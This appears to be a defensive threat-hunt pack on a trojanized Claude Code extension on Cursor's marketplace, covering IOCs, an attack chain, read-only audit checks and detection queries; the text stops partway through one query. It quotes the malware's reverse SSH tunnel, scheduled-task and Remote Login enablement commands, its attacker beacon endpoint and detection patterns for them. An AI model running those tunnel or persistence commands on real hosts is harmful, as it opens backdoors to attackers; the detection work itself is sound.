Trojanized Claude Code Extension on the Cursor Marketplace

Tampered builds published under the legitimate anthropic.claude-code identifier (not a typosquat) on Cursor's extension marketplace · not a compromise of Anthropic's systems · the current marketplace build is clean · exposure is not confirmed compromise
Threat
Trojanized Claude Code extension (versions 2.1.312 and 2.1.313) with SSH backdoor loader
Severity
HIGH
Type
Supply chain / developer-workstation backdoor
Access
Code runs when the extension module loads: no user action, Claude conversation or lifecycle hook needed
Exposure
2026-10-29 09:27 to 20:35 UTC; at most 5,000 Cursor users (Cursor's figure)
Version
v0.1 · 2026-10-31
Author
HuntPack
Confidence
High on mechanism and indicators (three independent technical sources); no actor attribution
01

Executive Summary

What happened. On 2026-10-29 a tampered copy of the Claude Code VS Code extension was served from Cursor's extension marketplace under the legitimate identifier anthropic.claude-code. Cursor's notice names versions 2.1.312 and 2.1.313, with modified builds identified for darwin-arm64 (macOS) and win32-x64 (Windows). Cursor puts the exposure window at about 2:27 am to 1:35 pm Pacific time (09:27 to 20:35 UTC) and the exposed population at no more than 5,000 users. The tampered file is extension.js, which carries a small self-contained Node.js loader inserted into the otherwise legitimate bundle.

What the loader does. Loading the module is enough: StepSecurity's sandbox analysis shows it runs under plain Node.js with no VS Code API, no Claude conversation and no package-manager lifecycle hook. Per Cursor and Microsoft it (1) collects host and user details, including the names (not values) of environment variables matching KEY, TOKEN, SECRET, PASS, AWS or GCP, (2) appends an attacker SSH public key labelled svc-telemetry to authorized_keys, (3) tries to enable the local SSH service, (4) opens a reverse SSH tunnel to a single server and (5) writes standalone persistence (a LaunchAgent on macOS, a scheduled task named SysMon with a Startup-folder fallback on Windows, a cron @reboot entry on Linux) that retries the tunnel about every 60 seconds. It then POSTs the reconnaissance over plain HTTP.

Scope and attribution, stated plainly. This was not a compromise of Anthropic's systems or employee laptops. Per Anthropic's statement as quoted by StepSecurity, a malicious actor used access to Cursor's marketplace to publish a tampered copy that Anthropic did not build or publish; Anthropic's official channels are unaffected. Version 2.1.313 was never published to Open VSX or the Microsoft Visual Studio Marketplace, and the Open VSX 2.1.312 and 2.1.314 builds were verified clean by StepSecurity. Cursor replaced the malicious 2.1.312 with clean bytes, and StepSecurity verified the build its marketplace serves today is clean. How the actor obtained publishing access has not been explained publicly. No source names an actor or campaign, and this pack does not either.

Impact was narrower than the payload suggests. Cursor reports that enabling the local SSH service needs administrator rights the extension does not normally have, so on most hosts the attacker could not log in through the tunnel. The key, the persistence and the reconnaissance beacon were still attempted. Cursor took the attacker server offline, so the beacon and tunnel no longer connect; artifacts already on a host are not removed by that.

Highest-value defensive angle. Hunt for what the loader leaves outside the extension folder, because uninstalling or updating the extension removes none of it: the svc-telemetry key in authorized_keys, the persistence objects, the hidden .smt, .smtk and .stk_* files and any ssh -N -R tunnel process. Then scope credential exposure by what the host could reach, since the beacon revealed which credential types were present.

Defender priority: on every machine where Cursor installed or auto-updated Claude Code between 2026-10-29 09:27 and 20:35 UTC, check authorized_keys for svc-telemetry first, preserve evidence, then remove the artifacts in Section 13 and rotate credentials from a known-clean machine. If the tunnel is confirmed to have connected, rebuild the host.

02

Source Review & Web Hunter Notes

Six sources were fetched and saved verbatim (plain text, Cursor-Marketplace-ClaudeCode-Backdoor-Hunt-sources/). Every atomic value in this pack was re-derived from those files, not from search summaries. Anthropic's own statement and the original Hacker News posts from Anthropic staff were not fetched; they are cited only as quoted by StepSecurity.

TierSourceKey FindingCarry ForwardSnapshot
1Cursor: Security notice, malicious version of Anthropic.claude-code (2.1.312 and 2.1.313)Marketplace operator's notice: affected versions and platforms, exposure window, payload behavior, IOC list, remediation scripts, server takedownyes03-cursor-security-notice.txt
1StepSecurity: Trojanized Claude Code Extension Delivered Persistent SSH BackdoorPrimary technical writeup: sandbox and registry analysis, Anthropic scope statement, timeline, full IOC table including dropped-file hashes, clean-build verificationyes01-stepsecurity-advisory.txt
1Microsoft Security Blog: Inside a malicious Claude Code-branded extension and its persistent SSH backdoorIndependent code analysis of the loader: collection list, two SSH identities, tunnel and retry design, per-OS persistence, ATT&CK mappingyes04-microsoft-security-blog.txt
2BleepingComputer: Malicious Claude Code extension on Cursor planted SSH backdoorsCorroboration; researcher credit; coding errors that stopped many SSH backdoors from workingpartial02-bleepingcomputer.txt
2OX Security: Compromised Claude Code Extension (2.1.313) in Cursor MarketplaceCorroboration of behavior and artifacts; lists only 2.1.313 and an earlier VSIX hash setpartial05-ox-security.txt
2The Hacker News: Official Claude Code Extension on Cursor Marketplace TrojanizedCorroboration; researcher quotes; clean 2.1.314 releasepartial06-thehackernews.txt

Decisions and source conflicts

  • Affected versions. Early reporting (OX Security, The Hacker News) names only 2.1.313. Cursor's updated notice (2026-10-30 11:30 am PT), Microsoft and StepSecurity name both 2.1.312 and 2.1.313, so both are hunted. The Open VSX 2.1.312 build shares the version number but is a different, clean artifact (verified by StepSecurity), which is why Query 8 is an exposure lead and not proof.
  • Platforms. Cursor identifies modified builds for macOS and Windows only (darwin-arm64 and win32-x64). The loader code also contains Linux cron logic (Microsoft), so Linux is hunted defensively, but no source confirms a malicious Linux build was served.
  • Stale VSIX hash. OX Security lists a different darwin-arm64 VSIX hash than Cursor's updated notice. This pack ships only the values in Cursor's updated notice, which StepSecurity repeats.
  • When the loader runs. The Hacker News describes activation after startup and when a webview opens. StepSecurity (sandbox) and Microsoft (code analysis) both show it executes as soon as the module loads. This pack follows the latter two.
  • Legitimate services are not indicators. The loader looks up its public IP through ifconfig.me and api.ipify.org. Both are legitimate services and are not shipped as indicators.
  • Per-host values are not indicators. StepSecurity lists a post-implant hash of the modified authorized_keys file. It depends on each user's prior key file, so it is excluded. Truncated clean-build hashes are also excluded.
  • Not used. The Hacker News article also mentions an unrelated CLI release-binary incident. It is a different campaign and contributes nothing here.
  • Fetched content treated as data. No fetched page contained instructions directed at an AI agent. Cursor's remediation scripts (remediate-macos.sh, remediate-windows.ps1) were not downloaded or run; Section 13 provides reviewable steps instead.
03

Hunt Brief & Attack Chain

Hypotheses (highest fidelity first)

#HypothesisATT&CKTelemetryConfQuery
H1A host is running an SSH process shaped like the published reverse tunnel (-N -R '*:0:localhost:22', or autossh -M 0 with host-key checking disabled).T1572, T1021.004Process creation with command line (CrowdStrike: ProcessRollup2. SentinelOne: Process Creation. Defender: DeviceProcessEvents)HighQ1
H2A host connected to the published server address (TCP 22 tunnel or TCP 8099 beacon). The server is offline, so this is retrospective.T1071.001, T1572Outbound network connection (CrowdStrike: NetworkConnectIP4. SentinelOne: IP Connect. Defender: DeviceNetworkEvents)HighQ2
H3The persistence and SSH-enablement commands from the loader ran: SysMon task creation, LaunchAgent load, systemsetup -setremotelogin on, OpenSSH Server capability install.T1053.005, T1543.001, T1021.004Process creation with command lineMediumQ3
H4The Cursor process tree spawned an OS tool that edits keys, tasks or launch objects, or built a reverse tunnel.T1195.002, T1098.004Process creation with parentMediumQ4
H5A process references one of the dropped artifacts (.smt, .smtk, smt.cmd, sysmon.cmd, .stk_ plus ten hex digits).T1053.003, T1547.001, T1036.004Process creation with command lineHighQ5
H6A Cursor-family process made an outbound connection on TCP 8099 (beacon) or TCP 22 to a non-private address.T1071.001, T1572Outbound network connectionMediumQ6
H7A Windows scheduled task named SysMon, or one that runs smt.cmd, was registered.T1053.005, T1036.004Scheduled task or service created (CrowdStrike: ScheduledTaskRegistered. SentinelOne: Task Register. Defender: DeviceEvents ScheduledTaskCreated)MediumQ7
H8A process launched from, or mentioning, an affected extension folder, which scopes who ran the trojanized build.T1195.002Process creation with command line, image pathMediumQ8

Attack chain

StepBehaviorTelemetryHunt angle
1Tampered anthropic.claude-code 2.1.312 or 2.1.313 installed or auto-updated from Cursor's marketplaceExtension inventory (outside endpoint telemetry); process creation from the extension folder only if the extension launches a binaryInventory the extensions folder; Q8
2Loader runs on module load inside Cursor's Node.js extension host and collects host details and credential-like environment variable namesNone (in-process; no process or network event)Known gap
3Attacker public key (svc-telemetry) appended to authorized_keys; tunnel private key written as hidden .stk_ fileFile write by the Cursor process (not queried: no listed Falcon event covers a script or key file write)Native hunts in Section 7; Q5 sees later use of the key file
4SSH service enablement attempt (systemsetup on macOS, OpenSSH Server capability on Windows); usually fails without administrator rightsProcess creation with command lineQ3
5Reverse tunnel ssh -N -R '*:0:localhost:22' (autossh preferred on Unix-like systems; hidden PowerShell loop on Windows) to the attacker server as user tunnelProcess creation; outbound network connectionQ1, Q2, Q6
6Persistence: macOS LaunchAgent com.apple.sysmond; Windows task SysMon (SYSTEM requested) or Startup sysmon.cmd; Linux user crontab @reboot; retry about every 60 secondsProcess creation; scheduled task registrationQ3, Q5, Q7
7Delayed HTTP POST of host details and backdoor status to port 8099 (/beacon), plus a loopback attemptOutbound network connection (payload not visible)Q2, Q6
04

Consolidated IOC Table

Atomic values were copied from the saved snapshots. Of the rows below, nine are importable into Falcon IOC Management (Section 10). The remainder are behavioral and are hunted, not imported. The attacker server is offline per Cursor, so network indicators are retrospective.

TypeValueConfidenceActionContextExpiry
IPv4134.209.82.225HighdetectReverse SSH tunnel (TCP 22, user tunnel) and HTTP beacon (TCP 8099). Cursor, StepSecurity, Microsoft. Now offline.2027-04-30
URLhttp://134.209.82.225:8099/beaconHighhuntHTTP POST of host recon JSON. Not importable; covered by the IP row. Loopback attempt: 127.0.0.1:8099/beacon.2027-01-31
SHA-256ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15HighpreventMalicious extension.js (3,692,922 bytes), common to all four malicious VSIX packages. Cursor, StepSecurity, Microsoft. MD5 f49bcd657ef1e626e85ce858958c1769.2027-10-31
SHA-256fcbb327e38e61c4fec795e0d0591f52cd1014b813d20a5912104953c3a17c364HighdetectMalicious VSIX 2.1.312 darwin-arm64 (Cursor; MD5 e0d64d53e802a0217ba6f0e656ed2f20)2027-04-30
SHA-2563de1722901165769893bef57c72594e9a54459faa23f3091b136b79966edd081HighdetectMalicious VSIX 2.1.312 win32-x64 (Cursor; MD5 bd3b71ddf3d0cc3af76249afd2c0eda1)2027-04-30
SHA-25680402fdcad8799285fd93044976973ca000da7995fb93363f819bb8e4f84ee6cHighdetectMalicious VSIX 2.1.313 darwin-arm64 (Cursor; MD5 34e491161e056c9b899a79b602ac73b9)2027-04-30
SHA-2566786ec90cbd45949695bd7805c9fbb26cfc91bc5fc897de0183d9bcb9cb21731HighdetectMalicious VSIX 2.1.313 win32-x64 (Cursor; MD5 7838a3be2ca0ff08c1bdb160ef516d39)2027-04-30
SHA-25622f682d9ff55264e934d0f43fcfbb46d58be5cfb8fe1b3a7cbb38fe089c818b0MediumdetectDropped Windows smt.cmd persistence script, 330 bytes (StepSecurity only)2027-04-30
SHA-2567e0a52885fadee05544a9e99eb18c792bec05900a5e1a66d68f8383decb0e278HighdetectDecoded tunnel private key file written as .stk_ plus ten hex digits (StepSecurity, Microsoft). A key file, not an executable, so detect only.2027-04-30
MD5f49bcd657ef1e626e85ce858958c1769HighdetectMalicious extension.js (Cursor, StepSecurity)2027-04-30
SSH keycomment svc-telemetry; fingerprint SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htkHighhuntAttacker public key appended to authorized_keys. Confirm the fingerprint before removing an entry.none
SSH keyfingerprint SHA256:KOAU57+ZG6u3MG4WwzPzPX2O5YEe9qdOC1Bl+6MVyDQHighhuntTunnel identity (private key dropped as .stk_ plus ten hex digits)none
Paths~/.config/.smt, ~/.config/.smtk, ~/.config/smt.cmd, $TMPDIR/.stk_<10 hex>, ~/Library/LaunchAgents/com.apple.sysmond.plist, %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\sysmon.cmdMediumhuntDropped scripts and persistence. Names mimic monitoring components; inspect the configured action before removal.none
Persistencescheduled task SysMon (SYSTEM requested); LaunchAgent label com.apple.sysmond; cron @reboot /bin/sh "<HOME>/.config/.smt"MediumhuntPer-OS persistence; names alone are not conclusivenone
Command linessh -N -R '*:0:localhost:22'; autossh -M 0; schtasks /create /tn SysMon; systemsetup -setremotelogin on; Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0MediumhuntTunnel, persistence and enablement. All are legitimate tools; the combination is the signal.none
Packageanthropic.claude-code 2.1.312 and 2.1.313 from Cursor's marketplace; folders anthropic.claude-code-2.1.312-* and anthropic.claude-code-2.1.313-*HighhuntPresence confirms exposure, not compromise. extension.js containing 134.209.82.225 and svc-telemetry confirms the trojanized build.none

Not indicators: ifconfig.me and api.ipify.org (legitimate public-IP services, also reached by benign software), connections to ordinary Microsoft infrastructure, and the legitimate Claude Code extension, Cursor, Node.js, ssh, autossh, schtasks and systemsetup themselves.

05

Affected Surface & Telemetry Matrix

SurfaceTelemetryPriorityGap
Windows developer workstations running CursorProcess creation with command line and parent (CrowdStrike: ProcessRollup2. SentinelOne: Process Creation. Defender: DeviceProcessEvents); scheduled task registration (CrowdStrike: ScheduledTaskRegistered. SentinelOne: Task Register. Defender: DeviceEvents ScheduledTaskCreated); outbound connections (CrowdStrike: NetworkConnectIP4. SentinelOne: IP Connect. Defender: DeviceNetworkEvents)HighWrites of smt.cmd, sysmon.cmd and authorized_keys are script or key-file writes: no event used here covers them. In-process reconnaissance is outside endpoint telemetry.
macOS developer workstations running CursorProcess creation with command line and parent; outbound connectionsHighThe LaunchAgent plist and key-file writes are not visible; only the commands that load or run them are. Sensor coverage on developer Macs is often partial.
Linux developer workstationsProcess creation with command line; outbound connectionsMediumNo source confirms a malicious Linux build was served. The loader contains cron logic, so hunt defensively. Crontab edits arrive on standard input and are not visible in the command line.
Cursor marketplace and extension inventoryNone in endpoint telemetryHighWhich hosts installed 2.1.312 or 2.1.313 is outside endpoint telemetry. Use Cursor's published check, the Section 7 inventory commands, or your device-management extension inventory.
Network egress (firewall, proxy, DNS)Flow and proxy logs for TCP 22 and TCP 8099 to the published addressMediumServer is offline, so a hit shows past contact only. Clear logs may be shorter than the incident.
Credentials reachable from the hostSource-control, CI/CD and cloud audit logsHighOutside endpoint telemetry. The beacon revealed variable names, not values; later access over a working tunnel is the real risk.
06

ATT&CK Mapping

Mappings describe behavior implemented or attempted by the analyzed loader, not confirmed execution on every host (Microsoft). They do not establish attribution.

TacticTechniqueBehaviorQuery / Control
Initial AccessT1195.002 Compromise Software Supply ChainTampered extension served from a legitimate marketplace under the legitimate identifierQ8; Section 12 items 1, 5, 9
ExecutionT1059.007 JavaScriptNode.js loader runs when the module loadsQ4 (child processes only)
PersistenceT1098.004 SSH Authorized KeysEmbedded Ed25519 public key appended to authorized_keysSection 7 hunt; Section 12 item 8
PersistenceT1053.005 Scheduled TaskTask SysMon requesting SYSTEMQ3, Q7
PersistenceT1053.003 CronUser crontab @reboot entry running .smtQ5
PersistenceT1543.001 Launch AgentUser LaunchAgent com.apple.sysmond with RunAtLoad and KeepAliveQ3, Q5
PersistenceT1547.001 Registry Run Keys / Startup FolderStartup-folder sysmon.cmd fallback on WindowsQ5
Defense EvasionT1036.004 Masquerade Task or ServiceNames SysMon and com.apple.sysmond imitate monitoring componentsQ3, Q7
Command and ControlT1572 Protocol TunnelingReverse SSH forwarding to the workstation's SSH portQ1, Q2, Q5, Q6
Command and ControlT1071.001 Web ProtocolsPlain HTTP POST to port 8099Q2, Q6
Lateral MovementT1021.004 SSHInteractive access through the tunnel where it succeedsQ1, Q3
DiscoveryT1082 System Information DiscoveryHostname, user, OS, architecture, home and working directories, Git email, credential-like variable namesGap (in-process)
07

Native Audit-Log Hunts

Non-CQL checks for what endpoint telemetry cannot see. All are read-only. Run them as the affected user, and preserve evidence before any cleanup (Section 13).

7.1 Implant key in authorized_keys (macOS and Linux)

Source: Cursor and StepSecurity. A match means the host is impacted.

grep -qs svc-telemetry ~/.ssh/authorized_keys && echo "svc-telemetry key found" || echo "No key found"
# confirm the fingerprint before removing anything
ssh-keygen -lf ~/.ssh/authorized_keys | grep -F "0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk"

7.2 Implant key in authorized_keys (Windows, PowerShell)

Source: Cursor. Checks the per-user file and the administrators file.

$files = "$HOME\.ssh\authorized_keys", "C:\ProgramData\ssh\administrators_authorized_keys" | Where-Object { Test-Path $_ }
if ($files -and (Select-String svc-telemetry $files)) { "svc-telemetry key found" } else { "No key found" }

7.3 Installed extension versions and the trojanized bundle

The default Cursor extensions folder is assumed to be ~/.cursor/extensions (or %USERPROFILE%\.cursor\extensions): this path is not stated in the sources, so verify it on your build. The string test is StepSecurity's fleet sweep.

# macOS / Linux
ls -d ~/.cursor/extensions/anthropic.claude-code-2.1.312-* ~/.cursor/extensions/anthropic.claude-code-2.1.313-* 2>/dev/null
grep -l -e "134.209.82.225" -e "svc-telemetry" ~/.cursor/extensions/anthropic.claude-code-*/extension.js 2>/dev/null

# Windows (PowerShell)
Get-ChildItem "$HOME\.cursor\extensions" -Directory -Filter "anthropic.claude-code-2.1.31*" -ErrorAction SilentlyContinue
Get-ChildItem "$HOME\.cursor\extensions\anthropic.claude-code-*\extension.js" -ErrorAction SilentlyContinue | Select-String -Pattern "134.209.82.225","svc-telemetry" -List | Select-Object Path

7.4 Persistence objects

# macOS
ls -l ~/Library/LaunchAgents/com.apple.sysmond.plist ~/.config/.smt ~/.config/.smtk 2>/dev/null
launchctl list | grep -i sysmond
# Linux and macOS user crontab
crontab -l 2>/dev/null | grep -F ".config/.smt"
# Temporary tunnel identity (macOS $TMPDIR, Linux /tmp)
ls -la "${TMPDIR:-/tmp}"/.stk_* 2>/dev/null

# Windows (PowerShell)
schtasks /query /tn SysMon 2>$null
Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\sysmon.cmd" -ErrorAction SilentlyContinue
Get-ChildItem "$HOME\.config\smt.cmd","$HOME\.config\smtk","$env:TEMP\.stk_*" -Force -ErrorAction SilentlyContinue

7.5 Running tunnel processes

# macOS / Linux
ps aux | grep -E "ssh .*-R|autossh" | grep -v grep
# Windows (PowerShell)
Get-CimInstance Win32_Process | Where-Object { $_.CommandLine -match "\.stk_|localhost:22" } | Select-Object ProcessId, Name, CommandLine

7.6 Network and authentication logs

  • Firewall, proxy and flow logs: search 2026-10-29 onward for destination 134.209.82.225 on TCP 22 and TCP 8099. A hit on 8099 is the beacon; a hit on 22 is the tunnel.
  • SSH logs: review SSH, shell, process and authentication logs for key acceptance and sessions arriving after the extension loaded (Microsoft). Linux: journalctl -u ssh -u sshd --since 2026-10-29. macOS: log show --predicate 'process == "sshd"' --start "2026-10-29".
  • Source-control, CI/CD and cloud audit logs: look for use of tokens and keys that were reachable from an impacted host, from any new address, after 2026-10-29 09:27 UTC.
08

Hunt Queries: CrowdStrike CQL, SentinelOne PowerQuery and Defender XDR KQL

Show all queries in
Pick your tenant's cloud first: every "Open in Falcon" button below uses this selection.

Honest limits. The loader runs inside Cursor's Node.js process, so its reconnaissance, its key write and its script writes produce no event used here. These queries see the commands and connections it triggers afterwards: the tunnel, the persistence commands, the dropped-artifact paths and the outbound connections. Cursor-spawned processes may appear under a helper process name, and the sensor must be present on the developer machine (macOS fleets are often partly covered). The attacker server is offline, so Q2 and Q6 are retrospective. Set the time picker to cover 2026-10-29 onward.

Q1 · Reverse SSH tunnel with the published command-line shape
CONF HIGHFP MEDIUMCOST LOW

Looks for: An ssh or autossh process requesting a remote-allocated listener that forwards to local port 22 (-R '*:0:localhost:22'), or autossh with -M 0 and host-key checking disabled, which is the loader's tunnel loop on Unix-like systems. Windows runs the same ssh arguments from a hidden PowerShell loop. FP: administrators who publish a reverse tunnel to a bastion on purpose, and autossh keep-alive tunnels; the wildcard -R branch is rare on a developer workstation.

Validation: schema-aligned, static-reviewedAutomated: static-passedEquivalence: equivalent-with-schema-assumptionsProfiles: microsoft-defender-xdr, sentinelone-endpoint-ocsf
Known limitations and deployment notes
  • PowerQuery: A tunnel started by a renamed ssh binary is not matched by name.
  • PowerQuery assumes: tgt.process.* is the created process and src.process.* is its creator on a Process Creation event.
  • PowerQuery assumes: The flags -R and -M 0 are matched as substrings, so a flag glued to another token also matches; the paired literal keeps the false-positive rate low.
  • KQL – Defender XDR: A tunnel started by a renamed ssh binary is not matched by name.
  • KQL – Defender XDR assumes: FileName holds the bare image name of the created process.
  • KQL – Defender XDR assumes: The flags -R and -M 0 are matched as substrings, so a flag glued to another token also matches.
// HUNT: Reverse SSH tunnel with the published command-line shape (ssh -N -R '*:0:localhost:22')
// MITRE: T1572, T1021.004
// CONF: high  FP: medium  COST: low
// REQUIRES: process creation with command line on Windows, macOS or Linux sensors
// FALSE POSITIVES: sanctioned reverse tunnels to a bastion; autossh keep-alive tunnels managed by IT
// TUNING: exclude your sanctioned tunnel hosts and service accounts from the autossh branch; the -R wildcard branch should be near zero on developer machines
#event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/
| FileName=/^(ssh|autossh)(\.exe)?$/i
| CommandLine=/(-R\s+\S*\*:0:localhost:22|-M\s+0\b.*StrictHostKeyChecking=no|StrictHostKeyChecking=no.*-M\s+0\b)/i
| table([@timestamp, event_platform, ComputerName, UserName, FileName, CommandLine, ParentBaseFileName, aid])
Q2 · Any connection to the published attacker server
CONF HIGHFP LOWCOST LOW

Looks for: Outbound connections to 134.209.82.225: TCP 22 is the reverse tunnel, TCP 8099 is the reconnaissance beacon. The server was taken offline, so a hit proves the host contacted it while it was up, and a miss does not clear a host. Widen the time picker to cover the whole period since 2026-10-29.

Validation: schema-aligned, static-reviewedAutomated: static-passedEquivalence: equivalent-with-schema-assumptionsProfiles: microsoft-defender-xdr, sentinelone-endpoint-ocsf
Known limitations and deployment notes
  • PowerQuery: Connections that reach the server through a proxy or CDN show the proxy address, not this one.
  • PowerQuery assumes: dst.ip.address holds the remote IPv4 of an outbound IP Connect event; src.process.* is the connecting process on this event type.
  • KQL – Defender XDR: Connections that reach the server through a proxy or CDN show the proxy address, not this one.
  • KQL – Defender XDR assumes: RemoteIP holds the remote address of the connection as a string.
// HUNT: Connection to the published attacker server (tunnel TCP 22, beacon TCP 8099)
// MITRE: T1572, T1071.001
// CONF: high  FP: low  COST: low
// REQUIRES: outbound network connection events (IPv4)
// FALSE POSITIVES: address reassignment after takedown (the host belongs to a cloud provider)
#event_simpleName=NetworkConnectIP4
| RemoteAddressIP4="134.209.82.225"
| table([@timestamp, event_platform, ComputerName, aid, ContextBaseFileName, LocalAddressIP4, RemoteAddressIP4, RemotePort])
Q3 · Persistence and SSH-enablement commands from the loader
CONF MEDIUMFP MEDIUMCOST LOW

Looks for: schtasks creating a task named SysMon, launchctl loading com.apple.sysmond, systemsetup -setremotelogin on, and PowerShell installing the OpenSSH Server capability. Each tool is legitimate, so the task name, label or flag is the discriminator. FP: IT provisioning that enables Remote Login or OpenSSH Server, and any real software that registers a task called SysMon.

Validation: schema-aligned, static-reviewedAutomated: static-passedEquivalence: equivalent-with-schema-assumptionsProfiles: microsoft-defender-xdr, sentinelone-endpoint-ocsf
Known limitations and deployment notes
  • PowerQuery: Persistence created through the Task Scheduler API rather than schtasks is not matched by this card.
  • PowerQuery assumes: tgt.process.* is the created process and src.process.* is its creator on a Process Creation event.
  • PowerQuery assumes: create and SysMon are matched as independent substrings of the command line.
  • KQL – Defender XDR: Persistence created through the Task Scheduler API rather than schtasks is not matched by this card.
  • KQL – Defender XDR assumes: FileName holds the bare image name of the created process on both Windows and macOS sensors.
  • KQL – Defender XDR assumes: create and SysMon are matched as independent substrings of the command line.
// HUNT: Persistence and SSH-enablement commands from the trojanized loader
// MITRE: T1053.005, T1543.001, T1021.004, T1036.004
// CONF: medium  FP: medium  COST: low
// REQUIRES: process creation with command line on Windows and macOS sensors
// FALSE POSITIVES: IT provisioning that enables Remote Login or OpenSSH Server; software that registers a task named SysMon
// TUNING: exclude MDM and provisioning parents (ParentBaseFileName) and your build accounts; keep the SysMon and com.apple.sysmond branches unfiltered because the names are the signal
#event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/
| (FileName=/^schtasks(\.exe)?$/i and CommandLine=/\bcreate\b.*\bSysMon\b/i)
  or (FileName=/^launchctl$/i and CommandLine=/com\.apple\.sysmond/i)
  or (FileName=/^systemsetup$/i and CommandLine=/-setremotelogin\s+on/i)
  or (FileName=/^powershell(\.exe)?$/i and CommandLine=/Add-WindowsCapability.*OpenSSH\.Server/i)
| table([@timestamp, event_platform, ComputerName, UserName, FileName, CommandLine, ParentBaseFileName, aid])
Q4 · Cursor process tree spawning key, task, launch-object or tunnel commands
CONF MEDIUMFP MEDIUMCOST LOW

Looks for: Child processes whose parent name starts with Cursor (the Windows Cursor.exe and the macOS Cursor Helper family) and whose command line touches authorized_keys, creates a task, loads a launch object, enables SSH, installs OpenSSH Server, builds a -R forward or names a dropped artifact. A trojanized extension runs inside this tree. FP: Cursor's Remote-SSH features and integrated terminals legitimately start ssh, and a user can run any of these commands in the terminal.

Validation: schema-aligned, static-reviewedAutomated: static-passedEquivalence: equivalent-with-schema-assumptionsProfiles: microsoft-defender-xdr, sentinelone-endpoint-ocsf
Known limitations and deployment notes
  • PowerQuery: A Cursor helper whose process name does not begin with cursor is not matched.
  • PowerQuery assumes: src.process.name is the creator of the new process on a Process Creation event and starts with cursor for Cursor and its helper processes.
  • PowerQuery assumes: matches is applied case-insensitively and the pattern is wrapped in leading and trailing wildcards so it holds whether the engine anchors the whole value or searches within it.
  • KQL – Defender XDR: A Cursor helper whose process name does not begin with cursor is not matched.
  • KQL – Defender XDR assumes: InitiatingProcessFileName starts with cursor for Cursor and its helper processes.
// HUNT: Cursor process tree spawning key, task, launch-object or tunnel commands
// MITRE: T1195.002, T1098.004, T1572
// CONF: medium  FP: medium  COST: low
// REQUIRES: process creation with parent on Windows or macOS sensors; the parent name can differ by Cursor version
// FALSE POSITIVES: Remote-SSH port forwards; developers running these commands in the integrated terminal
// TUNING: exclude known developer accounts for the -R branch only; keep authorized_keys, SysMon, sysmond and .stk_ branches unfiltered; confirm with Q5 and the Section 7 checks
#event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/
| ParentBaseFileName=/^cursor/i
| CommandLine=/(authorized_keys|\bschtasks\b.*\bcreate\b|\blaunchctl\b.*(load|bootstrap)|setremotelogin|Add-WindowsCapability|-R\s+\S*:\d+:\S*:22\b|\.config.\.smt|smt\.cmd|sysmon\.cmd|\.stk_[0-9a-f]{10})/i
| table([@timestamp, event_platform, ComputerName, UserName, ParentBaseFileName, FileName, CommandLine, aid])
Q5 · Execution that references the dropped artifacts
CONF HIGHFP LOWCOST LOW

Looks for: A process whose basename is one of the dropped scripts, or whose command line names ~/.config/.smt, .smtk, smt.cmd, sysmon.cmd, a .stk_ key file (ten hex digits) or a cron @reboot line pointing at .smt. This is where the LaunchAgent, the cron entry, the Startup fallback and the SSH retry loop become visible, because each is a shell or cmd.exe run on the script. These names are specific, so false positives should be rare.

Validation: schema-aligned, static-reviewedAutomated: static-passedEquivalence: equivalent-with-schema-assumptionsProfiles: microsoft-defender-xdr, sentinelone-endpoint-ocsf
Known limitations and deployment notes
  • PowerQuery: Files dropped but never executed are not process events and are not matched.
  • PowerQuery assumes: tgt.process.name is the bare image name of the created process.
  • PowerQuery assumes: The path pattern config.smt.cmd keeps the CQL wildcard between config and smt, and is written with a non-capturing group around the leading dot so the literal check reads the file name.
  • PowerQuery assumes: matches is applied case-insensitively and the pattern is wrapped in leading and trailing wildcards so it holds whether the engine anchors the whole value or searches within it.
  • KQL – Defender XDR: Files dropped but never executed are not process events and are not matched.
  • KQL – Defender XDR assumes: FileName holds the bare image name of the created process.
  • KQL – Defender XDR assumes: The path pattern config.smt.cmd keeps the CQL wildcard between config and smt, and is written with a non-capturing group around the leading dot so the literal check reads the file name.
// HUNT: Execution that references the dropped persistence and tunnel-key artifacts
// MITRE: T1053.003, T1053.005, T1543.001, T1547.001, T1572
// CONF: high  FP: low  COST: low
// REQUIRES: process creation with command line on Windows, macOS and Linux sensors
// FALSE POSITIVES: an unrelated tool that happens to use a file named sysmon.cmd; none known
#event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/
| (FileName=/^(\.smtk?|smt\.cmd|sysmon\.cmd)$/i or CommandLine=/(\.config.\.smtk?\b|\.config.smt\.cmd|sysmon\.cmd|\.stk_[0-9a-f]{10}|@reboot.*\.smt)/i)
| table([@timestamp, event_platform, ComputerName, UserName, FileName, CommandLine, ParentBaseFileName, aid])
Q6 · Cursor-family process connecting on TCP 8099 or to an external SSH port
CONF MEDIUMFP MEDIUMCOST LOW

Looks for: The editor process itself connecting to TCP 8099 (the beacon port, including the loopback attempt) or to TCP 22 outside private ranges. It does not depend on the server address, so it survives infrastructure change. FP: Remote-SSH to your own development servers uses TCP 22, and local dev servers sometimes use port 8099.

Validation: schema-aligned, static-reviewedAutomated: static-passedEquivalence: equivalent-with-schema-assumptionsProfiles: microsoft-defender-xdr, sentinelone-endpoint-ocsf
Known limitations and deployment notes
  • PowerQuery: IPv6 destinations are not excluded by the private-range tests and are matched on port alone.
  • PowerQuery assumes: src.process.name is the connecting process on an IP Connect event and starts with cursor for Cursor and its helper processes.
  • PowerQuery assumes: dst.port.number is numeric on IP Connect events.
  • KQL – Defender XDR: IPv6 destinations are not covered, matching the IPv4-only CQL.
  • KQL – Defender XDR assumes: InitiatingProcessFileName starts with cursor for Cursor and its helper processes.
  • KQL – Defender XDR assumes: ipv4_is_private returns null for an IPv6 address, so IPv6 destinations drop out, as the CQL is IPv4 only.
// HUNT: Cursor-family process connecting on TCP 8099 or to an external SSH port
// MITRE: T1071.001, T1572
// CONF: medium  FP: medium  COST: low
// REQUIRES: outbound network connection events (IPv4); ContextBaseFileName must carry the Cursor process name
// FALSE POSITIVES: Remote-SSH sessions to sanctioned hosts; developer tooling that listens on 8099 locally
